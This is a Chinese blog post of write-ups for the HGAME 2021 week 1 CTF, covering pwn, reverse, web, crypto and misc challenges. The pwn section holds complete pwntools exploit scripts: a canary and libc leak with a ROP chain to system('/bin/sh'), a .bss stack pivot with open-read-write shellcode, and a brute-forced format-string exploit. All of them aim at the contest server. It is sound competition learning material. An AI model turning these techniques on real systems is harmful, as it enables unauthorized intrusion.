HGAME2021-WEAK1-WP

Posted on Feb 7, 2021

许久没有更新博客了,主要是因为最近都在打 hgame,客观来讲题挺难的,别的方向的题没做过,就真的是都不会。这篇博客是 week1 中我解出来的题目的 wp 的合集。bin 的题是都解出来了,别的方向大概也就做了做签到,应该说是真的不会,最后的总分是真的不怎么好看,pwn手心里苦啊。

pwn

whitegive

签到题

地址是 0x402012=4202514,所以nc上去输入就可以 get shell 了。

SteinsGate2

这道题目看起来很难,但实际上比后两道都要简单,主要难点在代码审计上。

1月30日晚拿到题目,发现有个叫 source.zip 的压缩包,心想果然是新手赛,源码都给,然后发现

要密码???难道是藏在题目里了?这么高级。遂打开 IDA ,发现留了不少编译信息,但是好像看不懂程序在干什么,于是打开虚拟机

先跑跑看

不知道是什么鬼,遇事不决先 checksec 吧

保护全开,这个时候其实心态开始崩了,遂去做别的方向的题,发现毛都不会,又继续玩了许久这个程序,还去看了看命运石之门是什么东西(日本的游戏大概也就玩过南梦宫的皇牌空战什么的了),发现也没什么帮助。到11点的时候已经有点想去世了,搞了一个学期的 pwn 竟然只会签到,而别的方向的大佬已经千分了。最后实在没忍住,问了一下小语师傅(%语神)题目怎么做

于是附件更新了,没有密码了。既然有源码,考虑 -g 编译一下,动调起来也幸福快乐一点

看到了一个亮眼的格式化字符串漏洞(虽然最后没用上,难道我的解法是非预期解?)。那就看看怎么样可以利用这个漏洞吧,代码在 world.h

#define PUTDMAIL()                                 \
    do                                             \
    {                                              \
        SCRIPT_PRINT(11 - from_dm);                \
        if (save.know_truth && cur_divergence > 1) \
            printf(dmail_buf);                     \
        else                                       \
            SCRIPT_NEXT();                         \
    } while (0)

是这样的一个宏,在主循环中调用

也就是说,只要我们让 save.know_truth && cur_divergence > 1 成立就可以利用这个 fmt 了,当时我也不知道 save.know_truth 是什么鬼,所以就先考虑了使 cur_divergence 大于1的方法(浪费了我大量时间:()。

先来看看 cur_divergence 这个变量在整个工程的地位

发现实际上只有一个函数修改了这个变量

void divergence_update()
{
    float field = floorf(divergence);
    cur_divergence = divergence;
    cur_divergence *= (save.ent_flag + 0x233);
    cur_divergence -= floorf(cur_divergence) - field;
}

divergence 是在这个函数里生成的

void divergence_init()
{
    srand(0);
    while (1)
    {
        int rd = rand() & 0x7fffffff;
        if (rd < 0x10000)
            divergence = 1.0;
        else
            divergence = 0.0;
        float di = (float)(rd * 100 + 0x233 & 0x7fffffff) / 1000000;
        di -= floorf(di);
        divergence += di;
        if (divergence > 1e-6)
            break;
    }
    divergence_update();
}

这里的 srand(0) 非常的引人注目,题目也贴心的给出了 libc(大概是因为用 LibcSearcher 搜不出来的缘故吧),所以这个 divergence 的值是可确定的,而通过控制变量 save.ent_flag 就可以控制 cur_divergence 了,如何控制这个变量?

四个事件都可以控制,前三个都很好触发,就是 event_ibn5100 这个触发不了,看一看源码

if (cur_divergence > 1.0 || !save.know_truth)
        scene->branchid = 7;
    else if (choice == 1 && save.days > 2)
        scene->branchid = 6;
    else if (choice == 1 && save.days == 1)
    {
        scene->branchid = 2;
        save.ibn5100 = 1;
        save.ent_flag |= EVENT_IBN5100;
        SCRIPT_NEXT();
        char msg[80];
        scanf("%s", msg);
    }

发现竟然有 scanf("%s", msg); ,可以栈溢出。这个时候就要仔细考虑要fmt还是rop了。于是考虑写个脚本跑一下,看看各种save.ent_flag的取值对 cur_divergence 的影响,结果发现 cur_divergence 好像也确实是不会大于1的,遂弃fmt转向rop。要执行这个scanf,需要在第一天选去神社找ibn5100,而且还要使 save.know_truth 不为0,这个变量初始值为0,所以我们需要考虑一下如何使它为非零,看一看它在工程中出现在了那些地方

只在一处 Set 了该变量,看一下这里的代码,发现

void world_main()
{
    int from_dm;
    while (1)
    {
        switch (save.current_scene)
        {
        case BRANCH:
            save.know_truth = divergence_detect();
            save.current_scene = DAYS;
            break;

branch 的值是2,也就是第二个场景,第二个场景问了我们当前的世界线变动率是多少,也就是 divergence_detect() 函数干的事,这个函数是这样的

int divergence_detect()
{
    float div;
    SCRIPT_NEXT();
    scanf("%f", &div);
    if (fabsf(div - cur_divergence) < 1e-6)
        return 1;
    else
        return 0;
}

那么我们只要在最开始时输入一个和 cur_divergence 足够接近的的数就可以使 save.know_truth 为1了。之前也说了,cur_divergencedivergencesave.ent_flag 生成,后者此时为0,前者是我们可以知道的,所以写个脚本跑一下,得知 cur_divergence0.898834229 ,所以输入该数就可以实现栈溢出了。

光能栈溢出是不够的,还需要leak一些信息,程序中也有。

char cmd[0x100];
    my_read(cmd, 0x100);
    SCRIPT_PRINT(cmd);
    SCRIPT_NEXT();
    save.sern = 1;
    save.ent_flag |= EVENT_HACKING;

这是 event_hacking() 中的部分代码,这里没有对cmd数组进行初始化,所以很有可能可以leak出栈上残留的信息,获得 canarylibc 基地址

这两处可以 leak 。所以题目就可以做了

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context(log_level = 'debug')
libc = ELF("./libc.so.6")

def banana():
    sh.sendlineafter('5100\n','1')
    sh.sendlineafter('?\n','pwn')

def hack(payload):
    sh.sendlineafter('5100\n','2')
    sh.sendlineafter('choice: ','2')
    sh.sendlineafter('choice: ','1')
    sh.sendlineafter(')\n',payload)

def IBN(payload,choice):
    sh.sendlineafter('5100\n','3')
    sh.sendlineafter('choice: ',str(choice))
    sh.sendlineafter("了\n",payload)

sh = remote("182.92.108.71",30009)
#sh = process("./sga")
sh.sendlineafter('choice: ','1')
#password = 0.8339385986
password = 0.898834229
sh.sendlineafter('?\n',str(password))

IBN('pwn',1)#1
banana()#2

hack('a' * 23 + 'b')#3
sh.recvuntil('ab')

libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols["__isoc99_scanf"] - 178
log.success('libc base:' + hex(libc_base))
one_gadget = libc_base + 0xe6c81
log.success('one_gadget:' + hex(one_gadget))
system_addr = libc_base + libc.symbols["system"]
log.success('system:' + hex(system_addr))
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
log.success('/bin/sh:' + hex(bin_sh_addr))
pop_rdi_somereg_ret = libc_base + 0x276e9
log.success('pop_rdi_ret:' + hex(pop_rdi_ret))
exit_addr = libc_base + libc.symbols["exit"]

#__isoc99_scanf_addr = u64(sh.recv(6).ljust(8,'\x00'))
#libcs = LibcSearcher("__isoc99_scanf",__isoc99_scanf_addr)
#libc_base = __isoc99_scanf_addr - libcs.dump("__isoc99_scanf")
#system_addr = libc_base + libc.dump("system")
#bin_sh_addr = libc_base + libc.dump("str_bin_sh")
#pop_rdi_ret = libc_base + 0x26b72

for i in range(4,11):
    banana()

sh.sendlineafter("挣扎\n",'1')
sh.sendlineafter("choice: ",'1')
sh.sendlineafter("\n","pwn")

sh.sendlineafter("choice: ",'1')#1
sh.sendlineafter("了\n",'pwn')
banana()#2

hack('a' * 56 + 'b')#3
sh.recvuntil('ab')
canary = u64(sh.recv(7).rjust(8,'\x00'))
log.success('canary:' + hex(canary))

for i in range(4,11):
    banana()

sh.sendlineafter("挣扎\n",'1')
sh.sendlineafter("choice: ",'1')
sh.sendlineafter("\n","pwn")

sh.sendlineafter("choice: ",'1')
payload = 'a' * 0x58 + p64(canary)
payload += p64(0x7fffffff0000)
payload += p64(pop_rdi_somereg_ret) + p64(bin_sh_addr) + p64(0) + p64(system_addr)
#payload += p64(one_gadget)
sh.sendafter("了\n",payload + ' ')

sh.interactive()

这里 rop 的时候如果用 one_gadget 或者直接 pop_rdi_ret 会返回 segment fault 的错误,当时我做到这里的时候一看已经零点多了,就去睡觉了,第二天早上起来才想起来是一些 libc 在执行 systemrsp 需要与0x10对齐(可以参考这篇博客),所以需要调整栈地址,这里我用的是 pop_rdi_一个我不记得是什么的寄存器_ret 的 gadget ,就成功 getshell 了。可惜的是一血被一位校外的师傅在凌晨4点夺走了,只拿到了二血。这道题的出题人非常有诚意,写了一个比较复杂的程序(说复杂也是相对我这种菜鸡来说的),各种提示也是恰到好处,遗憾的是没想到刚开始就搜危险函数,还是浪费了不少时间,没有取得一血。

letter

orw(open-read-write)模板题

很明显,输入一个 -1 就可以绕过对长度的限制了

当然这题没那么简单

这里用 seccomp 系列函数禁用了除了 read write open exit setuid 之外的所以系统调用,一般的做法是open("./flag")->read(3,addr,len)->write(1,addr,len)。曾经我也有考虑过通过重新调用 seccomp_init 放开所有系统调用 getshell ,但是仔细想想 seccomp_init 本身也要使用系统调用来禁用或允许系统调用,所有这种做法是不可行的。还是退而求其次拿个 flag 就算了。

先 checksec 一下

不出所料几乎没有保护,这种题有时会给一个 jmp rspgadget ,那就可以考虑栈上布置 shellcode (此题没给),不过 PIE 没开,不需要用,可以栈迁移到 .bss,由于内存分页机制的存在,这里必然大小有至少为0x1000的可读可写可执行的空间,足够我们布置 shellcode 和储存 flag 。栈迁移我是朴素的通过 ret2leave 实现的。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug',os = 'linux',arch = 'amd64')

pop_rsp_r13_r14_r15_ret = 0x400a9d
bss_base = 0x601000

sh = remote("182.92.108.71",31305)
sh.sendlineafter("send?\n",'-1')

payload = 'a' * 0x10 + p64(bss_base + 0x200) + p64(0x40096A)
sh.send(payload)

sh.sendlineafter("send?\n",'-1')

payload =  p64(0x601F00) * 3
payload += p64(bss_base + 0x210)
payload += asm(shellcraft.open('./flag')) 
payload += asm(shellcraft.read(3,bss_base + 0x300,0x60))
payload += asm(shellcraft.write(1,bss_base + 0x300,0x60))

sh.send(payload)

sh.interactive()

关于这里 payload = 'a' * 0x10 + p64(bss_base + 0x200) + p64(0x40096A) 一句中使用 bss_base + 0x200 做为迁移的地址的原因是为了给之后的 orw 提供栈空间。

once

这道题我感觉好像是最难的,到现在我也不知道预期解是怎么样的。

程序逻辑和漏洞很简单,既有栈溢出又有格式化字符串,保护的话仅有canary没开。考虑到printf是在read后调用的,所以在我们输入第一次payload的时候是没用任何已知地址的,当然自然我们可以想到利用PIE的低12位不变性,写返回地址的低8位来控制返回地址,但是发现好像没有可以返回的地址,因此我就没有思路了。退而求其次,我选择爆破三字节,写死低16位,并用 '\n' 截断,这样我们要爆破12位,需要基地址最低3字节为 0x0a0000。概率千分之一吧,尚可接受(现在我知道我蠢了,原来read是不会在字符串尾补 '\x00' 的,所以写一个字节就可以了,不需要爆破)。做法就很粗暴了,格式化字符串泄露 libc 和程序基地址,然后就是简单的 rop 了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import os
context(log_level = 'debug')

libc = ELF("./libc-2.27.so")

#payload = '%' + str(0xD2) + 'c' + "%11$hhn-" + "%13$p-%11$p-"
flag = 0
while flag < 1000:
    try:
        log.success("try #" + str(flag))
        #sh = process("./once")
        sh = remote("182.92.108.71",30107)
        payload = "%13$p-%17$p-%10$p-".ljust(0x28,'a') + '\x70\x10'
        #prog_base = 0x555555554000
        #payload = "%13$p-%17$p-%10$p-".ljust(0x28,'a') + p64(prog_base + 0x1070)
        sh.sendafter('turn: ',payload)
        #sh.recvuntil('-')
        libc_start_main = int(sh.recvuntil('-',drop = True),base = 16) - 231
        libc_base = libc_start_main - libc.symbols["__libc_start_main"]
        one_gadget = libc_base + 0x4F3D5
        log.success("one_gadget:" + hex(one_gadget))
        log.success("libc_base:" + hex(libc_base))
        system_addr = libc_base + libc.symbols["system"]
        log.success("system_addr:" + hex(system_addr))
        sh_addr = libc_base + libc.search("/bin/sh").next()
        log.success("bin_sh_addr:" + hex(sh_addr))

        prog_base = int(sh.recvuntil('-',drop = True),base = 16) - 0x1169
        log.success("prog_base:" + hex(prog_base))

        #if((prog_base & 0xFFFFFF) == 0x0a0000):

        stack_addr = int(sh.recvuntil('-',drop = True),base = 16)
        stack_addr -= 0x10 + 0x28

        pop_rdi_ret = prog_base + 0x1283
        pop_rdi_rbp_ret = libc_base + 0x22203
        leave_addr = prog_base + 0x1213
        payload = p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
        #payload = p64(pop_rdi_rbp_ret) + p64(sh_addr) + p64(stack_addr - 0x20) + p64(system_addr)
        payload = payload.ljust(0x20,'a')

        payload += p64(stack_addr)
        #payload += p64(leave_addr)
        payload += p64(one_gadget)
        sh.sendlineafter('turn: ',payload)
        flag = 100000
        filea = open("win",'w')  
        sleep(0.1)
        sh.sendline("cat flag")

        #filea.write(sh.recvuntil('}'))
        filea.close()
        sh.interactive()
        sh.close()
    except:
        flag += 1
        sh.close()

可能会发现我还 leak 了栈地址,原因是 one_gadget的成功率往往低于直接使用system,而我是爆破,失败了会很亏,所以我就考虑通过 ret2leave 栈迁移然后 rop 一下,结果发现调整 rsp出现了sigbus 的错误(实话说第一次见到这个错误),有没有试不调整的时候能不能getshell不记得了,反正当时想着都算出来了,就上 one_gadget 得了,结果就真的 getshell 了。

爆破的代价很大

导致我的 wsl 出现了申请了大量空间却不返还的问题,由于没有分区,造成了我C盘爆红。

REVERSE

apacha

apacha 好像是 jojo 的一个梗,指尿,和题目应该无关。但是茶仍然是提示,对应英文 tea,也就是 Tiny Encryption Algorithm 加密算法简写,0x61C886470x9E3779B9 两个值也都暗示了是用这个算法加密的。但是实际上知道这个与否应该也没什么区别,这个好像也不是标准 TEA,没有现成的解密脚本,还是得自己手写。

只要做这个的逆过程就可以了

简单的写个程序逆一下

#include<iostream>
#include<cstdio>
#include<cstring>

int key[4] = {1,2,3,4};
unsigned int encrypted[36] = {
    0xE74EB323, 0xB7A72836, 0x59CA6FE2, 0x967CC5C1, 0xE7802674, 0x3D2D54E6, 0x8A9D0356, 
    0x99DCC39C, 0x7026D8ED, 0x6A33FDAD, 0xF496550A, 0x5C9C6F9E, 0x1BE5D04C, 0x6723AE17, 0x5270A5C2, 
    0xAC42130A, 0x84BE67B2, 0x705CC779, 0x5C513D98, 0xFB36DA2D, 0x22179645, 0x5CE3529D, 0xD189E1FB, 
    0xE85BD489, 0x73C8D11F, 0x54B5C196, 0xB67CB490, 0x2117E4CA, 0x9DE3F994, 0x2F5AA1AA, 0xA7E801FD, 
    0xC30D6EAB, 0x1BADDC9C, 0x3453B04A, 0x92A406F9
};
char flag[36];

unsigned int decrypt_part(unsigned int pre,unsigned int next,unsigned int delta,int index);

int main()
{
    unsigned int delta = 0x5384540F;
    for(int stage = 7;stage > 0;stage--)
    {
        printf("delta:%x\n",delta);
        for(int i = 34;i >= 0;i--)
        {
            unsigned int pre = encrypted[(i == 0 ? 34 : i - 1)];
            unsigned int next = encrypted[(i == 34 ? 0 : i + 1)];
            encrypted[i] -= decrypt_part(pre,next,delta,i);
        }
        delta += 0x61C88647;
    }
    for(int i = 0;i < 35;i++)
    {
        flag[i] = encrypted[i];
    }
    puts(flag);
}

unsigned int decrypt_part(unsigned int pre,unsigned int next,unsigned int delta,int index)
{
    return (((pre >> 5) ^ (4 * next)) + ((16 * pre) ^ (next >> 3))) ^
           ((key[(((char) index) ^ ((char) (delta >> 2))) & 3] ^ pre) + (next ^ delta));
}

关于密文的 dump :IDA 可以很容易的导出

但是一定要仔细检测有没有选全啊!我就因为少选了一个字节的数据导致密文出错,让我对着屏幕发了一小时的呆,幸亏有想到密文错了的可能,不然可能就做不成这题了。 flag:hgame{l00ks_1ike_y0u_f0Und_th3_t34}

helloRe

简单的异或加密

这里的数据从 0xFF 开始每一个减一异或下去就可以拿 flag 了

flag是hgame{hello_re_player}

pypy

附件是一些没见过的奇怪代码,联系题目名,猜想可能是 python 的反汇编码,一查原来是 dis 模块生成的,那么就现学一个新的汇编语法

简单的复原了一下,大概是这样

import dis

def enc():
    raw_flag = input("give me your flag:\n")
    chiper = list(raw_flag[6:-1])
    length = len(chiper)
    for i in range(int(length / 2)):
        chiper[2 * i + 1] , chiper[2 * i] = chiper[2 * i] , chiper[2 * i + 1]

    res = []
    for i in range(length):
        res.append(ord(chiper[i]) ^ i)
    #print res
    res = bytes(res).hex()

    print('your flag:' + res)

dis.dis(enc)
enc()

res = bytes(res).hex() 这一句我用dis生成的和源文件不尽相似,但是问题不大,加密方法已经很明显了

res = input()

res = list(bytearray.fromhex(res))

length = len(res)
raw_flag = []
for i in range(length):
    raw_flag.append(chr(res[i] ^ i))

for i in range(int(length / 2)):
    raw_flag[2 * i + 1] , raw_flag[2 * i] = raw_flag[2 * i] , raw_flag[2 * i + 1]

print(''.join(raw_flag))

这样就可以解密出 flag 了。

先道个歉

上面的二进制题我还算会做,都是老老实实正常解的,之后的题目是真的一窍不通,有些题目解的可能非常耍赖皮,对不住各位出题人了

web

watermelon

题目好像打不开了,截不上图,当时的做法是把每个下落的水果都改成了小葡萄,在那里点了许久就到两千了。

智商检测鸡

这道题估计是要写脚本吧,不过我的解法是计算器一个个算过去,20分钟左右骗得100分,效率高于做pwn

Crypto

大体上不会,唯一做出的还是骗到的

Transformer

有提供许多源文件和加密文件,猜测是用简单的加密算法加密的,我通过quipqiup.com这个网站爆破出了 flag

flag:hgame{ea5y_f0r_fun^3nd&he11o_2021}

好像有点耍赖皮啊

MISC

Base

base64 解码,发现编码都是在 base32 范围内的,再 base32 解码,同样的再用 base16 解码,得 flag:hgame{We1c0me_t0_HG4M3_2021}

不起眼压缩包的养成的方法

拿到一张图,看题估计是图种,发现的确是,解压第一步需要图片的id,很好办,搜一下就可以了

id 是 70415155。然后解压出一个 NO PASSWORD.txt,又发现 plain.zip 中也有这个文件,考虑明文攻击,获得 flag.zip

然后我卡了许久,才发现

原来直接就是flag。